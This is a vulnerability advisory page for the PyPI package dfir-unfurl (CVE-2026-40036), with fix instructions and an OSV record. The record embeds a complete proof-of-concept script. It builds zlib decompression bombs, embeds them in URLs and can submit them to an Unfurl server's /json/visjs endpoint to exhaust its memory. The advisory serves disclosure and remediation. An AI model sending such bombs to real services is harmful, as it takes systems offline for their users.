Vulnerabilities in pkg:pypi/dfir-unfurl
PACKAGECVE-2026-40036 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)) affecting Dfir unfurl libraries in the PyPI ecosystem. The issue involves unfurl's unbounded zlib decompression allows decompression bomb dos. Remediation is available by upgrading affected packages to version 20260405.
pkg:pypi/dfir-unfurl
Vulnerability advisories affecting package pkg:pypi/dfir-unfurl. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-h5qv-qjv4-pc5m | CVE-2026-40036 | HIGH | Unfurl's unbounded zlib decompression allows decompression bomb DoS |
| GHSA-c3f2-qg8v-25q2 | - | HIGH | Duplicate Advisory: Unfurl's unbounded zlib decompression allows decompression bomb DoS |
| GHSA-vg9h-jx4v-cwx2 | - | CRITICAL | Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure) |
CVE-2026-40036 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-40036
To remediate this vulnerability, upgrade all affected Dfir unfurl dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install dfir-unfurl>=20260405
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show dfir-unfurl
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-40036, inspect your installed packages using pip:
pip show dfir-unfurl
Analyze the terminal output to locate any version of Dfir unfurl in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 20260405), your application is affected.
Note: The pip show dfir-unfurl command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification), where the product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output. In Dfir unfurl, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-40036 Affected Dfir unfurl Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
dfir-unfurl
|
PyPI |
< 20260405
|
20260405
|
References
Frequently Asked Questions
What is CVE-2026-40036?
Which Dfir unfurl versions are affected?
What version fixes CVE-2026-40036?
Is dfir-unfurl affected?
What is the CVSS score of CVE-2026-40036?
What CWE is associated with CVE-2026-40036?
How can I check PyPI dependencies for CVE-2026-40036?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-h5qv-qjv4-pc5m",
"modified" : "2026-04-10T17:18:36Z",
"published" : "2026-01-29T15:31:30Z",
"aliases" : [ "CVE-2026-40036" ],
"summary" : "Unfurl's unbounded zlib decompression allows decompression bomb DoS",
"details" : "### Summary\nThe compressed data parser uses `zlib.decompress()` without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.\n\n### Details\n- `unfurl/parsers/parse_compressed.py` calls `zlib.decompress(decoded)` with no size limit.\n- Inputs are accepted from URL components that match base64 patterns.\n- Highly compressible payloads can expand orders of magnitude larger than their compressed size.\n\n### PoC\n1. Generate a payload with `security_poc/poc_decompression_bomb.py --generate-only`.\n2. The script creates a base64-encoded zlib payload embedded in a URL.\n3. Submitting the URL to `/json/visjs` can cause the server to allocate large amounts of memory.\n4. The script includes a `--test` mode but warns it can crash the service.\n\n### PoC Script\n```python\n#!/usr/bin/env python3\n\"\"\"\nUnfurl Decompression Bomb Proof of Concept\n==========================================\n\nThis PoC demonstrates a Denial of Service vulnerability in Unfurl's\ncompressed data parsing. The zlib.decompress() call has no size limits,\nallowing an attacker to submit small payloads that expand to gigabytes.\n\nVulnerability Location:\n- parse_compressed.py:81-82:\n inflated_bytes = zlib.decompress(decoded) # No maxsize parameter\n\nAttack Impact:\n- Memory exhaustion\n- Service crash\n- Resource consumption (cloud cost attacks)\n\nUsage:\n python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]\n\"\"\"\n\nimport argparse\nimport base64\nimport os\nimport zlib\nimport requests\nimport sys\nimport time\n\n\ndef create_compression_bomb(target_size_mb: int = 100) -> bytes:\n \"\"\"\n Create a compression bomb - small compressed data that expands to target_size_mb.\n\n Compression ratio for zeros can be ~1000:1 or better.\n A 1KB compressed payload can expand to ~1MB.\n A 100KB payload can expand to ~100MB.\n \"\"\"\n # Create highly compressible data (all zeros)\n target_bytes = target_size_mb * 1024 * 1024\n uncompressed = b'\\x00' * target_bytes\n\n # Compress with maximum compression\n compressed = zlib.compress(uncompressed, 9)\n\n compression_ratio = len(uncompressed) / len(compressed)\n\n print(f\"[*] Created compression bomb:\")\n print(f\" Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)\")\n print(f\" Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)\")\n print(f\" Compression ratio: {compression_ratio:.0f}:1\")\n\n return compressed\n\n\ndef create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:\n \"\"\"\n Create a nested compression bomb (zip bomb style).\n Each level multiplies the final size.\n\n Warning: This can create VERY large expansions.\n 3 levels with 10MB base = 10^3 = 1GB\n 4 levels with 10MB base = 10^4 = 10GB\n \"\"\"\n print(f\"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base\")\n\n # Start with base payload\n data = b'\\x00' * (base_size_mb * 1024 * 1024)\n\n for level in range(levels):\n data = zlib.compress(data, 9)\n print(f\" Level {level + 1}: {len(data):,} bytes\")\n\n theoretical_size = base_size_mb * (1000 ** levels) # Rough estimate\n print(f\"[*] Theoretical expanded size: ~{theoretical_size} MB\")\n\n return data\n\n\ndef create_recursive_quine_bomb() -> bytes:\n \"\"\"\n Create a recursive decompression scenario.\n When decompressed, the output is valid zlib that can be decompressed again.\n\n This exploits any recursive decompression logic.\n \"\"\"\n # This is a simplified version - real quine bombs are more complex\n # The concept: output when decompressed is also valid compressed data\n\n # Create a pattern that when decompressed resembles compressed data\n # This is primarily theoretical for this vulnerability\n base = b'x\\x9c' + (b'\\x00' * 1000) # Fake zlib header + zeros\n return zlib.compress(base * 1000, 9)\n\n\ndef encode_for_unfurl(compressed: bytes) -> str:\n \"\"\"\n Encode compressed data as base64 for URL inclusion.\n Unfurl's parse_compressed.py will:\n 1. Detect base64 pattern\n 2. Decode base64\n 3. Attempt zlib.decompress() without size limit\n \"\"\"\n return base64.b64encode(compressed).decode('ascii')\n\n\ndef create_malicious_url(payload: str) -> str:\n \"\"\"\n Create a URL containing the bomb payload.\n Multiple injection points are possible.\n \"\"\"\n # As a query parameter value\n return f\"https://example.com/page?data={payload}\"\n\n\ndef test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:\n \"\"\"\n Submit bomb to Unfurl and monitor for DoS indicators.\n \"\"\"\n api_url = f\"{target_url}/json/visjs\"\n params = {'url': payload_url}\n\n result = {\n 'submitted': True,\n 'timeout': False,\n 'error': None,\n 'response_time': 0,\n 'memory_exhaustion_likely': False\n }\n\n try:\n start = time.time()\n response = requests.get(api_url, params=params, timeout=timeout)\n result['response_time'] = time.time() - start\n result['status_code'] = response.status_code\n\n # Check for error responses indicating resource issues\n if response.status_code == 500:\n result['error'] = 'Server error - possible memory exhaustion'\n result['memory_exhaustion_likely'] = True\n elif response.status_code == 503:\n result['error'] = 'Service unavailable - DoS successful'\n result['memory_exhaustion_likely'] = True\n\n except requests.exceptions.Timeout:\n result['timeout'] = True\n result['error'] = f'Request timed out after {timeout}s - possible DoS'\n result['memory_exhaustion_likely'] = True\n except requests.exceptions.ConnectionError as e:\n result['error'] = f'Connection error: {e} - server may have crashed'\n result['memory_exhaustion_likely'] = True\n except Exception as e:\n result['error'] = str(e)\n\n return result\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')\n parser.add_argument('--target', default='http://localhost:5000',\n help='Target Unfurl instance URL')\n parser.add_argument('--size', type=int, default=100,\n help='Target decompressed size in MB')\n parser.add_argument('--nested', type=int, default=0,\n help='Nesting levels for nested bomb (0 = simple bomb)')\n parser.add_argument('--test', action='store_true',\n help='Actually send the bomb (DANGEROUS)')\n parser.add_argument('--generate-only', action='store_true',\n help='Only generate payload, do not send')\n parser.add_argument('--output', help='Save payload to file')\n args = parser.parse_args()\n\n print(f\"\"\"\n╔═══════════════════════════════════════════════════════════════╗\n║ UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT ║\n╠═══════════════════════════════════════════════════════════════╣\n║ Target: {args.target:<45} ║\n║ Expanded Size: {args.size:<45} MB ║\n║ Nested Levels: {args.nested:<45} ║\n╚═══════════════════════════════════════════════════════════════╝\n\"\"\")\n\n # Generate the bomb\n if args.nested > 0:\n print(f\"\\n[!] Creating NESTED bomb - theoretical size could be enormous!\")\n print(f\" Be very careful with nested levels > 2\")\n if args.nested > 3:\n print(f\"[!] {args.nested} levels could produce terabytes of data!\")\n confirm = input(\" Continue? (yes/no): \")\n if confirm.lower() != 'yes':\n sys.exit(0)\n compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)\n else:\n compressed = create_compression_bomb(args.size)\n\n # Encode for URL\n b64_payload = encode_for_unfurl(compressed)\n malicious_url = create_malicious_url(b64_payload)\n\n print(f\"\\n[*] Payload Statistics:\")\n print(f\" Compressed size: {len(compressed):,} bytes\")\n print(f\" Base64 size: {len(b64_payload):,} bytes\")\n print(f\" URL length: {len(malicious_url):,} bytes\")\n\n # Save payload if requested\n if args.output:\n with open(args.output, 'w') as f:\n f.write(malicious_url)\n print(f\"\\n[+] Payload saved to: {args.output}\")\n\n # Display truncated payload\n print(f\"\\n[*] Malicious URL (truncated):\")\n print(f\" {malicious_url[:100]}...\")\n print(f\" (Full URL is {len(malicious_url):,} characters)\")\n\n # Save full payload for reference\n script_dir = os.path.dirname(os.path.abspath(__file__))\n payload_path = os.path.join(script_dir, 'bomb_payload.txt')\n with open(payload_path, 'w') as f:\n f.write(malicious_url)\n print(f\"\\n[+] Full payload saved to: {payload_path}\")\n\n # Verify the bomb works locally\n print(f\"\\n[*] Verifying bomb locally (limited test)...\")\n try:\n # Only decompress a small portion to verify it's valid\n test_data = zlib.decompress(compressed, bufsize=1024*1024) # 1MB max\n print(f\" ✅ Bomb is valid - decompresses to zeros\")\n except Exception as e:\n print(f\" ❌ Error: {e}\")\n sys.exit(1)\n\n if args.generate_only:\n print(\"\\n[*] Generate-only mode. Not sending payload.\")\n sys.exit(0)\n\n if not args.test:\n print(f\"\"\"\n╔═══════════════════════════════════════════════════════════════╗\n║ SAFETY CHECK ║\n╚═══════════════════════════════════════════════════════════════╝\n\nTo actually test this vulnerability, run with --test flag.\n\nManual testing:\n1. Copy the payload URL from {payload_path}\n2. Submit it to the target Unfurl instance\n3. Monitor server memory usage\n\nExpected behavior if vulnerable:\n- Server memory usage spikes dramatically\n- Request hangs or times out\n- Server may crash or become unresponsive\n\nMitigation check:\nThe vulnerability is FIXED if zlib.decompress() is called with\na max_length parameter, e.g.:\n zlib.decompress(data, bufsize=10*1024*1024) # 10MB limit\n\"\"\")\n sys.exit(0)\n\n # Actually test (dangerous!)\n print(f\"\\n[!] SENDING BOMB TO {args.target}\")\n print(f\"[!] This may crash the target service!\")\n confirm = input(\" Type 'CONFIRM' to proceed: \")\n\n if confirm != 'CONFIRM':\n print(\" Aborted.\")\n sys.exit(0)\n\n print(f\"\\n[*] Submitting payload...\")\n result = test_vulnerability(args.target, malicious_url, timeout=60.0)\n\n print(f\"\\n[*] Results:\")\n print(f\" Timeout: {result['timeout']}\")\n print(f\" Response time: {result['response_time']:.2f}s\")\n print(f\" Error: {result['error']}\")\n print(f\" Memory exhaustion likely: {result['memory_exhaustion_likely']}\")\n\n if result['memory_exhaustion_likely']:\n print(f\"\"\"\n╔═══════════════════════════════════════════════════════════════╗\n║ VULNERABILITY CONFIRMED ║\n╚═══════════════════════════════════════════════════════════════╝\n\nThe target appears vulnerable to decompression bomb attacks.\n\nEvidence:\n- {result['error'] or 'Abnormal response observed'}\n\nRecommendation:\nAdd size limits to zlib.decompress() calls:\n\n # Before (vulnerable):\n inflated_bytes = zlib.decompress(decoded)\n\n # After (fixed):\n MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024 # 10MB\n inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)\n\nOr use streaming decompression with size checks:\n\n decompressor = zlib.decompressobj()\n chunks = []\n total_size = 0\n for chunk in iter(lambda: compressed_data.read(4096), b''):\n decompressed = decompressor.decompress(chunk)\n total_size += len(decompressed)\n if total_size > MAX_SIZE:\n raise ValueError(\"Decompressed data too large\")\n chunks.append(decompressed)\n\"\"\")\n else:\n print(\"\\n[*] Target may not be vulnerable or attack was mitigated.\")\n\n\nif __name__ == '__main__':\n main()\n```\n\n### Impact\nA remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "dfir-unfurl"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "20260405"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/obsidianforensics/unfurl/security/advisories/GHSA-h5qv-qjv4-pc5m"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40036"
}, {
"type" : "WEB",
"url" : "https://github.com/RyanDFIR/unfurl/pull/243"
}, {
"type" : "WEB",
"url" : "https://github.com/RyanDFIR/unfurl/commit/7cc711a65b106742a21080b755f81c17b5725aa8"
}, {
"type" : "WEB",
"url" : "https://github.com/RyanDFIR/unfurl/releases/tag/v2026.04"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/obsidianforensics/unfurl"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/dfir-unfurl-denial-of-service-via-unbounded-zlib-decompression"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400", "CWE-409" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-01-29T15:31:30Z",
"nvd_published_at" : null
}
}